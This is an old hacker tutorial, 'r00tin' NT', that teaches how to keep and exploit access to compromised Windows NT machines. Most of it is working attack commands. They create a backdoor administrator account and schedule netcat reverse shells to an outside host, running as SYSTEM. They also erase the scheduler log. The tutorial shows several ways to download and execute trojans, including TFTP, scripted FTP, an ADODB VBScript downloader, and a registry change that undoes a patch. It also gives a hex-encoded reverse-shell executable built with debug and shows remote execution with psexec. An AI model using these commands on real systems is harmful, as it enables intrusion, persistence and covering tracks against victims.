... ouuuuuZHH@Auuuuuu23; .:38A@NMMMMMNMMMMN22AMMMMNHHHH@A77;: ,;88bU78u338@HHHUu333ZEMMMMMMMMMMMMMNHU: 7bE877: .,;27, .;uu@MNR8888U8@MMMMMMMMUo .;283. :;72883,,,:;o732uR2RMMMMMMMMMNR. ,2E2, .: ;;: .28b822222222222RNMMMHRAAUo 7A8 .,2.o2; 72228@MMMMMMMME8uHMM@7 .oA2, .; .,72ubRU2;;;;322b@EEb3;oRNMN:. .;H, ,::,7: 8bAH2223 ;8oo38MH2. ;u8 :oo23: .2u8bbo, o2228Z7 , :AMMU. ::. ,::: . ;u8;;, :;;;bU2;;..;Z@; .NMNR H; , :ubUZ3; .;8::,.22;.;HNMH ;HZ, ;oo8Z; .. RNA:ZEMH 2M ,:: oZZ8Z8U8ENMH 2M ;. MMMH C:\> r00tin' NT 7M . ,oAMMMRZ22, ZEMH C:\> illwill ;M .8bAb, .7@MMMMMMMMM@8; ;bHo. C:\> xillwillx@yahoo.com ,uU: ;bMUo. 7MMMMMMMMMMMMMH8 3MM7. C:\> http://illmob.org Ho. :UU@Eu. 7o: 7MMMMNEMNNMMMMMM 7EM@o ;U2 .2AHME;. ,ZRRRNMHR,. ;MMMHEAHEEMMMMMN ,uMM3 u8u .; 3MMM3 .8NMMMMMMMMMA3. .3MMMMHRHMMMMME; 3MMA7 ZH7 ,2MM3 78MMMMMMMMMMMMMH7 .ZR@MMMMMHR3. ;bMM: ,o@u: .,;MM2 ZMMMMMMMMMMMMMMMN, .,77777;. ,AMN2. .EA3 88ZuHMb7 2HMMMMMMMMMMMMMMM, :MME2 .;ZRu3: . ,EA7 7bMMMMMMR@N@HMMNU. :NE2. 2@NMb; .:7bAb8,. .3. ,HNMMMMMMN@HHU; MMHA 7UMZ; .3uZ8bH, o2UMMMMHu3: uHMH7 ,8NM ,ZMR. ..... ... 2@@ ,2RZ;... .. ...... . .,;. :8M 7ZRHMMbuuub@@bUAREHMUo .288uuuu2;2AMH8RNR .,,,,,,,3bE@NNNNMNMNE7Eb8NMNN@ 2M@o,,. .:33333;ouU@NRRHN2oo7:ZE@7. .78;. ,;: Tutorial started fall of 2003. Prolly wont be finished til 2008 :/ So you got a command shell prompt with your '0day s00p3r h4x0rin .c skrypt' and you dont know what the fuck a command prompt is cuz you don't know shit about DOS and cant do anything without a pretty point-n-click GUI interface. and need to get your UPX/hex-edited/undetected s00per trojan loaded onto it and be a real hax0r. +++ r00tin' NT - 0x01. The Basics + What are net commands? + What are some net commands? + What is NetBIOS? + Creating a local admin account. + How to transfer files to and from. + How do I execute those files remotely? 0x01. The Basics - What are net commands? ````````````````````````````````````````` What are net command exactly? Net commands are commands used in order to show information regarding a server or network which can include information on the servers, networks, shares, and connections. Other commands include commands in which you can edit user accounts, groups, and other configuration types. 0x01. The Basics - What are some net commands? `````````````````````````````````````````````` What are some net commands? There are various net commands in which you can use to view server info. Some of these net commands would include the ever popular NET use, NET share and NET view. But these arent the only net commands available. There is a wide variety of net command and they are as followed: - NET Accounts - NET Print - NET Computer - NET Send - NET Config Server - NET Session - NET Config Workstation - NET Share - NET Continue - NET Statistics Server - NET File - NET Statistics Workstation - NET Group - NET Stop - NET Help - NET Time - NET Helpmsg - NET Use - NET Localgroup - NET User - NET Name - NET Ver - NET Pause - NET View Net commands are great ways to spy on hacked windows NT servers because your checking on the network's status. The most widely used net commands in NT hacking are NET View, NET Share, and NET Use because they each do a certain thing which can be used for attacking. NET View, which is used to display a list of resources being shared on the attacked computer, NET Share which will display a list of information about all the resources that are being shared on the attacked computer which can also be used to create network shares, and last but not least NET Use which will display a list of connected computers which also has options for connecting and disconnecting from previously made shares. With those 3 commands, you have the ability to be able to do an attack called NetBIOS hacking. 0x01. The Basics - Creating a local admin account and a backup shell. `````````````````````````````````````````````````` First off i always start off with making myself an admin on the computer just in case the shell is lost. Add your name to admin group: net user [username] [password] /add net localgroup administrators [username] /add ( C:\WINNT\System32>net user GOD 0wned /add ) ( C:\WINNT\System32>net localgroup administrators GOD /add ) ***From muts from whitehat.co.il 8/19/04 Once I had the shell, I had to create some "Backup Shells" in case the connection gets severed. There's nothing worse than losing the only single connection to a penetrated machine… I did this using the "at" command, sending myself a NetCat shell every 15 minutes. I found myself smiling every 15 minutes. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS>time time The current time is: 0:18:13.01 Enter the new time: C:\WINDOWS>at 0:19 ""nc.exe -v illmob.reversedns.com 443 -d -e cmd.exe"" at 0:19 ""nc.exe -v illmob.reversedns.com 443 -d -e cmd.exe"" Added a new job with job ID = 1 ******************************************************************************** *******************2nd way .. does the same thing but more complicated********** added 6/20/05 rename your nc.exe to services.exe (services.exe cannot be killed by anyone . ) C:\>echo services.exe -v illmob.reversedns.com 443 -L -d -e cmd.exe >c:\netcat.cmd C:\>schtasks /create /tn rb /tr "c:\netcat.cmd" /sc minute /mo 1 /ru Administrator /rp p455w0rd && schtasks /change /tn rb /ru "" SUCCESS: The scheduled task "rb" has successfully been created. INFO: The run as user name for the scheduled task "rb" will be changed to "NT AUTHORITY\SYSTEM". SUCCESS: The parameters of scheduled task "rb" have been changed. u got a reverse connecting netcat shell that runs as SYSTEM and cannot be killed *WARNING* with both types make sure you clean up behind you C:\>net stop "Task Scheduler" C:\>del %SystemRoot%\SchedLgU.Txt C:\>net start "Task Scheduler" :/ hrrm they dont have netcat on their system , how the fuck do i get files onto them 0x01. The Basics - How to transfer files to and from. ````````````````````````````````````````````````````` Now's a good time to transfer some files :) here are some good methods of transferring files that i use: 1. Open the c: drive up for file sharing/transferring C:\>NET SHARE shareME=C: which u can connect to in your browser window \\victimsIP\shareME or type in YOUR dos prompt c:>NET USE x: \\VICTIMip\shareME /user:GOD 2. TFTP transfers (u need to have a TFTP server running on your computer) http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/ TFTP [-i] YOURIP [GET | PUT] source [destination] C:\WINNT\SYSTEM32>TFTP -i 127.0.0.1 GET SAM c:\rootedSAMS 3. from a command prompt echo ftp commands into a .bat file and execute it echo user >>c:\$.tmp echo >>c:\$.tmp echo lcd c:\windows >>c:\$.tmp echo binary >>c:\$.tmp echo get >>c:\$.tmp echo quit >>c:\$.tmp ftp -v -i -n -s:c:\$.tmp c:\$$.tmp del c:\$.tmp del c:\$$.tmp 4. i have created a commandline webdownloader which allows you to grab a file from a website and execute it its more reliable when transferring files (ftp server have timeouts , TFTP uses UDP packets so it fails alot) http://illmob.org/files/illmob/cmdget.zip u need to get it on the server.exe using the above choices then you can use it normally cmdget http://blah.com/trojan.exe c:\0wned.exe well how would i get your exe onto the hacked server illwill u dumbass you might ask well you could use this program brainbuster made...basically its a gui front-end to create a debug script that you can paste into a shell line by line that will create a bat file that will re-compile the script into .exe http://illmob.org/files/0day/exe2bat.exe ***Added from 101 on GSO forums 5/31/04 A small tip now if you wanna use secureCRT in listening mode to be able then to copy paste the huge .txt without problems: -*example*- your localip = 192.168.0.2 run a listening netcat1 : nc.exe -vv -L -p 12345 -t -e cmd.exe -s 192.168.0.2 With SecureCRT , do a simple telnet connection on 192.168.0.2:12345 (youll have a shell of course on your own computer trough securecrt) Open now another listening netcat2 through this local sCRT shell, you'll be able finally to copy paste this huge txt if a victim spawn a shell to this netcat2 ***** *i would also recommend dropping a copy of netcat onto the server because you can do a shitload of stuff with it like file transfers .. you would start nc listening on a port and then on your computer c:\>nc (vic_ip) (vic_port) < file.exe Now to make pasting simpler, you can append && at the end of each command to act like a carriage return Method #2 ftp downloading change the ftp.blah.com to the own ftp+dir and add your username/pass -------------------- SNIP---------------------- echo user USERNAME >>c:\$.tmp && echo PASS >>c:\$.tmp && echo binary >>c:\$.tmp && echo get test.exe >>c:\$.tmp && echo quit >>c:\$.tmp && ftp -v -i -n -s:c:\$.tmp ftp.blah.com c:\$$.tmp && start c:\test.exe && del c:\$.tmp && del c:\$$.tmp ------------------END SNIP---------------------- Method #3 tftp downloading you need a tftp server running on yourself change the yourserver.com to your ip or dns name -------------------- SNIP---------------------- tftp -i yourserver.com get yourfile.exe && start yourfile.exe ------------------END SNIP---------------------- ****************************************************************************************************** * NEW PIMP TECHNIQUES TO GET FILES ONTO YOUR REMOTE SHELL * ****************************************************************************************************** ADODB STREAM FILES: -------------------- SNIP---------------------- echo Dim HTTPGET >>c:\dl.vbs && echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>c:\dl.vbs && echo HTTPGET.Open "GET", "http://www.illmob.org/test.exe", false >>c:\dl.vbs && echo HTTPGET.Send >>c:\dl.vbs && echo DataBin = HTTPGET.ResponseBody >>c:\dl.vbs && echo Const adTypeBinary=1 >>c:\dl.vbs && echo Const adSaveCreateOverWrite=2 >>c:\dl.vbs && echo Dim SendBinary >>c:\dl.vbs && echo Set SendBinary = CreateObject("ADODB.Stream") >>c:\dl.vbs && echo SendBinary.Type = adTypeBinary >>c:\dl.vbs && echo SendBinary.Open >>c:\dl.vbs && echo SendBinary.Write DataBin >>c:\dl.vbs && echo SendBinary.SaveToFile "c:\test.exe", adSaveCreateOverWrite >>c:\dl.vbs && cscript //Nologo /B c:\dl.vbs && start c:\test.exe && del /s c:\dl.vbs ------------------END SNIP---------------------- oh they patched their system for the adodb stream? ha! just paste this simple in the shell first and youll be able to do it in no time -------------------- SNIP---------------------- echo Windows Registry Editor Version 5.00 >>c:\fix.reg && echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{00000566-0000-0010-8000-00AA006D2EA4}] >>c:\fix.reg && echo "Compatibility Flags"=- >>c:\fix.reg && regedit /s c:\fix.reg ------------------END SNIP---------------------- Barabas says there's a much easier way: you rename the file you wanna download (its not an upload) to .gif or .png, .css or whatever file that IE doesn't issue a download warning with. Then you point IE at it. then you just search for it in the TEMP IE files (with dir /s and wildcard e.g. - because it will be renamed to blah(1).gif) and execute it in a shell... You don't even need to rename it. DOS executes an executable regardless of the extension. You can make a vbscript but that's not necessary (unless you want to use this technique in a IE client exploit). Simple DOS commands should suffice. Lets say you rename your exe-file to Figure1.gif and put it on some server: CODE C:\>start /B http://www.evilhaxors.com/Files/18/39680/Figure_01.gif C:\>dir /s Figure* Volume in drive C has no label. Volume Serial Number is D0E0-D993 Directory of C:\Documents and Settings\daUser\Local Settings\Temporary Internet Files\Content.IE5\Q903MDI5 06/02/2006 16:55 19.288 Figure_01[1].gif 1 File(s) 19.288 bytes so you can rename that file or just execute it by pasting it in qoutes to the commandline C:\>"C:\Documents and Settings\DaUser\Local Settings\Temporary Internet Files\Content.IE5\Q903MDI5\Figure_01[1].gif" I've Created a 1.27kb reverse commandshell in assembler that i feed into exe2bat to create this you can paste into the shell that will connect back to the ip/hostname and port you specify when executing the exe -------------------- SNIP---------------------- echo off && echo n 1.dll >123.hex echo e 0100 >>123.hex && echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >>123.hex echo e 0180 >>123.hex && echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex echo e 0200 >>123.hex && echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >>123.hex echo e 0280 >>123.hex && echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >>123.hex echo e 0300 >>123.hex && echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >>123.hex echo e 0380 >>123.hex && echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >>123.hex echo e 0400 >>123.hex && echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >>123.hex echo e 0480 >>123.hex && echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >>123.hex echo e 0500 >>123.hex && echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >>123.hex echo e 0580 >>123.hex && echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >>123.hex echo r cx >>123.hex && echo 04ef >>123.hex && echo w >>123.hex && echo q >>123.hex && debug<123.hex && copy 1.dll reverse.exe && del 1.dll && del 123.hex ------------------END SNIP---------------------- once created execute it reverse.exe (i.e. reverse.exe illwill.reverse-dns.com 8080) 0x01. The Basics - How do I execute those files remotely? ````````````````````````````````````````````````````````` Having trouble trying to execute files remotely? Try PSEXEC http://www.sysinternals.com/ntw2k/freeware/psexec.shtml/ psexec -u [username] -p [password] [command] if I created a user "GOD" with the password "0wn3d" C:\>psexec -u GOD -p 0wn3d blah.exe or if you wanna have their TFTP connect back to u and retrieve a file c:\>psexec -u GOD -p 0wn3d "tftp -i 127.0.0.1 get trojan.exe" NOTE: Psexec will only work if you add an administrator user first, and if the computer doesnt have remote administrating disabled, or one of the ports firewalled out. or try RemoExec http://securityfriday.com/ToolDownload/Remoxec/remoxec_doc.html Remoxec executes a program using DCOM. Just supply an IP,USER,PASS,and the EXE you wanna execute. this a working textfile that i have been kicking around ill keep adding to it sooner or later when i get some more time -peace illwill